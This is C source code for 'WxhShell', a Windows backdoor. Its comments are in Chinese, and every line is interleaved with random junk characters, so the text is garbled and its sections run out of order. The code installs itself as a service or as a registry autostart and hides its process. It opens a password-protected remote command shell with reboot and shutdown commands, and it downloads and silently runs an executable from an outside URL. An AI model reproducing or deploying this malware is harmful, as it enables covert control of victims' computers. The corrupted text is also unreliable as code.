ULONG InheritedFromUniqueProcessId; YB(Q\hT~\;
} PROCESS_BASIC_INFORMATION; p1Jh0o8
b\yXbyjZ3.
PROCNTQSIP NtQueryInformationProcess; 06O2:5zF
Q.l}NtHwV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uJzG|$;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ ;*Ksy@1O
Y$Zx,
HANDLE hProcess; a1C{(f)
PROCESS_BASIC_INFORMATION pbi; ,]9P{k]O
9oYgl1}d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * @ 3Ag(
if(NULL == hInst ) return 0; K#6P}tf
&J[:awQX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @
[:ZS+1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jrr EAp
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W>) M5t4i
K^1o DP
if (!NtQueryInformationProcess) return 0; B2>H_dmQ
;LcZ`1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3EJj9}#x"'
if(!hProcess) return 0; G<}()+L
?zh9d%R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B3We|oe !
rDm~h~u5
CloseHandle(hProcess); 1oR7iD^
Zq+v6fk_Mn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >3p\m
if(hProcess==NULL) return 0; 4!Fo$9
NjVYLn<.r
HMODULE hMod; FHj"
nB
char procName[255]; C _'%NlJ'
unsigned long cbNeeded; .+PI}[g
u+Y\6~=+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %|auAq&w
fObg3S92
CloseHandle(hProcess); Gr*r=s
6wBx;y
|
if(strstr(procName,"services")) return 1; // 以服务启动 QoI3>Oj=
W0dSsjNio
return 0; // 注册表启动 zZL6z4g
} k.uH~S _
ck:T,F{}
// 主模块 MqW7cjg
int StartWxhshell(LPSTR lpCmdLine) TrlZ9?3#D
{ mWoAO@}Y
SOCKET wsl; o}
J&E{Tk
BOOL val=TRUE; s^Y"' ` +
int port=0; q
?|,O;?
struct sockaddr_in door; |cK*~
vx>b^tJKC
if(wscfg.ws_autoins) Install(); `7c~mypx
%Qmn-uZ
port=atoi(lpCmdLine); ;D3C>7y
e|)hG8FlF
if(port<=0) port=wscfg.ws_port; CyJEY-
95ZyP!
WSADATA data; ni.cTOSx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nCUg,;_=
v\c>b:AofD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EAT"pxP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N-G1h?e4
door.sin_family = AF_INET; fT;s-v[`k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nEJq_
door.sin_port = htons(port); 5 h-@|t
2M.fLQ?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kz~ps
5
closesocket(wsl); j]{_s"O
return 1; :*I#n
} Y\D!/T
n`#tKwWHYx
if(listen(wsl,2) == INVALID_SOCKET) { H=<S 9M
closesocket(wsl); ND'E8Ke pq
return 1; BL0 {HV!
} caIL&G,
Wxhshell(wsl); Z-^LKe
WSACleanup(); Y1OCLnK~
(7vF/7BZ|_
return 0; HHA<IZ#;,
52%2R]G!
} vmU@^2JSJ
Z?6%;n^ 54
// 以NT服务方式启动 @3) (BpFe
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qyZ"
%Kz
{ =b%MXT
DWORD status = 0; 1a?!@g)
DWORD specificError = 0xfffffff; O9G[j=U
}u\])I3
serviceStatus.dwServiceType = SERVICE_WIN32; O8+7g+J=!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r/YMLQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (SWYOMo"
serviceStatus.dwWin32ExitCode = 0; x6Bu F_.
serviceStatus.dwServiceSpecificExitCode = 0; YJ^]
u}
serviceStatus.dwCheckPoint = 0; bn#"?6Z2
serviceStatus.dwWaitHint = 0; 8NxM4$nQX
B}n,b#,*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |9u OUE
if (hServiceStatusHandle==0) return; 0@[$lv;OS
8*W#DH!
status = GetLastError(); .I7pA5V{#
if (status!=NO_ERROR) *T-<|zQ
{ {o)L c6T8s
serviceStatus.dwCurrentState = SERVICE_STOPPED; I&2c&yO
serviceStatus.dwCheckPoint = 0; IshKH-
serviceStatus.dwWaitHint = 0; 'KP@W9j
serviceStatus.dwWin32ExitCode = status; n&L+wqJ
serviceStatus.dwServiceSpecificExitCode = specificError; 4;w;'3zq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQ=]NF)\
return; hB"fhX
} tWJZoD6}h
2POXj!N
serviceStatus.dwCurrentState = SERVICE_RUNNING; 44gPCW,u
serviceStatus.dwCheckPoint = 0; !`k1:@NZ
serviceStatus.dwWaitHint = 0; _Us#\+]_:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z
8S\@I
} ?h3Y)5x T
9{'N{
// 处理NT服务事件,比如:启动、停止 aAZZ8V
VOID WINAPI NTServiceHandler(DWORD fdwControl) }{,^@xdyW
{ FTX=Wyr
switch(fdwControl) &4 {KV.
{ :nh_k4S@v
case SERVICE_CONTROL_STOP: ?}Z1bH
serviceStatus.dwWin32ExitCode = 0; q]\:P.x!>
serviceStatus.dwCurrentState = SERVICE_STOPPED; fX(3H1$"
serviceStatus.dwCheckPoint = 0; {'NZ.
serviceStatus.dwWaitHint = 0; ls_'')yp
{ "An,Q82oHf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z#zI1Am(O
} NvD7Krqwa
return; D|lzGt
case SERVICE_CONTROL_PAUSE: ?[VM6- &
serviceStatus.dwCurrentState = SERVICE_PAUSED; &c` nR<
break; bbtGXfI+SB
case SERVICE_CONTROL_CONTINUE: 18)'c?^.
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3]OE}[R
break; o~U$GBg
case SERVICE_CONTROL_INTERROGATE: H7?Vy bg~
break; ++bf#qS<8D
}; v6[!o<@"a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%^7!FSg
} 7G:s2432
|Z|-q"Rf
// 标准应用程序主函数 |+"<wEKI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) niiA7Ux
{ ySk R>y
sz5MH!/PJ
// 获取操作系统版本 fWCo;4<5?
OsIsNt=GetOsVer(); x5|I
GetModuleFileName(NULL,ExeFile,MAX_PATH); %G3h?3
FGPB:
// 从命令行安装 m- %E-nr
if(strpbrk(lpCmdLine,"iI")) Install(); N/[p <
Qn^'
// 下载执行文件 dl.N.P7}4
if(wscfg.ws_downexe) { dah[:rP,n{
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mH54ja2
WinExec(wscfg.ws_filenam,SW_HIDE); 5 z~1Dw
} __lM7LFL
,oORW/0iS
if(!OsIsNt) { d)B@x`
// 如果时win9x,隐藏进程并且设置为注册表启动 @*F"Q1 wI
HideProc(); Vmc5IPd{\
StartWxhshell(lpCmdLine); hv)x=e<
} 00<cYy
else HpR]q05d
if(StartFromService()) d4m=0G`
// 以服务方式启动 .0p0_f=
StartServiceCtrlDispatcher(DispatchTable); ]O Z5fd
else t#yk->,
// 普通方式启动 O1rvaOlr
StartWxhshell(lpCmdLine); IW)()*8;/
cec9l65d
return 0; n?oW < &
} ]fm'ZY&
4]rnY~
tN[L@t9#cr
_geWE0
E
=========================================== #m lS}~n
Hh%I0#
Jx_cf9{
9lTv
,K>I%_!1
y6@0O%TDN
" Q0$8j-1I
T`/AY?#
#include <stdio.h> sI43@[
#include <string.h> OBgkpx*Q
#include <windows.h> 6T>mW#E&
#include <winsock2.h> Y4%:7mw~=
#include <winsvc.h> DDvh4<Hk
#include <urlmon.h> sJ\BF
<3(LWxw
#pragma comment (lib, "Ws2_32.lib") uvgdY
#pragma comment (lib, "urlmon.lib") h}-3\8 >
1ofKt=|=
#define MAX_USER 100 // 最大客户端连接数 |o,YCzy|5
#define BUF_SOCK 200 // sock buffer SD#]$v
#define KEY_BUFF 255 // 输入 buffer M])ZK
)W|w C#
#define REBOOT 0 // 重启 Pnw]Tm}g
#define SHUTDOWN 1 // 关机 zh4#A
<e
1pQn8[sc@
#define DEF_PORT 5000 // 监听端口 Ulhk$CPA
}L
&^xe
#define REG_LEN 16 // 注册表键长度 X#d~zk[r2
#define SVC_LEN 80 // NT服务名长度 J2d.f}-
s.EI`*xylY
// 从dll定义API eD-#b|
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R|JC1f8P5
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `id9j
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mCRt8rY;
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;g8R4!J
so^lb?g
// wxhshell配置信息 vVj
struct WSCFG { YgKZ#?*
int ws_port; // 监听端口 YX%[ipgB
char ws_passstr[REG_LEN]; // 口令 CF&NFSti^
int ws_autoins; // 安装标记, 1=yes 0=no dL:-Y.?0M
char ws_regname[REG_LEN]; // 注册表键名 r[1i*b$
char ws_svcname[REG_LEN]; // 服务名 xrlmKSPa
char ws_svcdisp[SVC_LEN]; // 服务显示名 =nz}XH%=
char ws_svcdesc[SVC_LEN]; // 服务描述信息 >d~WH@o`G
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PEc,l>u9
int ws_downexe; // 下载执行标记, 1=yes 0=no Gb"r|(!
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8 m5p_\&
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P
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}; &
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// default Wxhshell configuration _AYXc] 4%
struct WSCFG wscfg={DEF_PORT, OtSL*'7>
"xuhuanlingzhe", c/Qt Ot
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"Wxhshell", >oea{u
"Wxhshell", )S`jFQ1
"WxhShell Service", ktI/3Mb@
"Wrsky Windows CmdShell Service", n 9\
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"Please Input Your Password: ", tc_286'x
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"http://www.wrsky.com/wxhshell.exe", )64@2~4y
"Wxhshell.exe" BeCWa>54i
}; ^
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// 消息定义模块 L Y6;.d$J
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XXbqQhf
char *msg_ws_prompt="\n\r? for help\n\r#>"; ag$Vgl
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rfn9s(m
char *msg_ws_ext="\n\rExit."; 0MV>"aV
char *msg_ws_end="\n\rQuit."; h H <J,Wn
char *msg_ws_boot="\n\rReboot..."; O#&c6MDB:
char *msg_ws_poff="\n\rShutdown..."; 0ph{
char *msg_ws_down="\n\rSave to "; .tkT<o-u<J
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char *msg_ws_err="\n\rErr!"; MzPzqm<
char *msg_ws_ok="\n\rOK!"; hbU+Usx
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char ExeFile[MAX_PATH]; y'FS/=u>0
int nUser = 0; HN_d{ 3
HANDLE handles[MAX_USER]; TqNadHQ
int OsIsNt; b5,x1`#7k
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SERVICE_STATUS serviceStatus; XIvn_&d;G
SERVICE_STATUS_HANDLE hServiceStatusHandle; jxiC
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